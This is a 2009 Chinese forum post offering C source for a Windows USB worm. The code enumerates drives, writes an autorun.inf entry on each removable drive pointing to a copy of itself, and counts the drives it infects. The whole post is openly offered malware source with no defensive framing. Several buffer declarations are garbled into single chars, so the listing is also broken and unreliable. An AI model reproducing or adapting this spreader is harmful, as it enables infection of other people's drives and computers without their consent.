axin 发表于 2009-7-11 11:07:55

感染USB编程代码

#include <windows.h>
#include <stdio.h>

int InfectDrives( );
int WriteINI( char* sINI, char* sFILE );
int ReadINI( char* sINI, char* sFILE);
int FileCopy( char* sNEW );

char* szFileName = "blah.exe";

int main()
{
    int i = InfectDrives( );
   
    printf( "drives infected: %i", i );
   
    getchar( );
   
    return 0;
   
};

int InfectDrives( )
{
    char szBuffer;
    char szInit, szFile;
    int iCount = 0, iGet, iType;
   
    iGet = GetLogicalDriveStringsA( sizeof( szBuffer ), szBuffer );
    if( iGet == 0 ) {
      return( 0 );
    }
    char *szDrive = szBuffer;
   
    while( *szDrive )
    {
      iType = GetDriveTypeA( szDrive );

      sprintf( szInit, "%sautorun.inf", szDrive ); //craft inf
      sprintf( szFile, "%s%s", szDrive, szFileName ); //craft file
      
      if( iType == 2 ) //removable device
      {
            if( ReadINI( szInit, szFileName ) == 0) //check for infection
            {
                if( WriteINI( szInit, szFileName ) == 0 ) //infect
                {
                  if( FileCopy( szFile ) == 0 ) //copy file
                  {
                        iCount++;
                  }
                }
            }
      }
      szDrive = &szDrive[ strlen( szDrive ) + 1];
    }
   
    return( iCount );
};

int WriteINI( char* sINI, char* sFILE )
{
    unsigned long bWrite = WritePrivateProfileString( "autorun", "open", sFILE, sINI );
    if( bWrite == 0 ) {
      return( 1 );
    }
    return( 0 );
};

int ReadINI( char* sINI, char* sFILE )
{
    char szBuffer;
    unsigned long lRead = GetPrivateProfileString( "autorun", "open", NULL, szBuffer, sizeof( szBuffer ), sINI );
    if( lRead != 0 ) {
      if( strstr( szBuffer, sFILE ) ) {
            return( 1 );
      }
    }
    return( 0 );
};

int FileCopy( char* sNEW )
{
    char szBuffer;
    GetModuleFileName( NULL, szBuffer, sizeof( szBuffer ) );
   
    bool bCopy = CopyFile( szBuffer, sNEW, 0 );
    if( bCopy == false ) {
      return( 1 );
    }
    return( 0 );
}
页: [1]
查看完整版本: 感染USB编程代码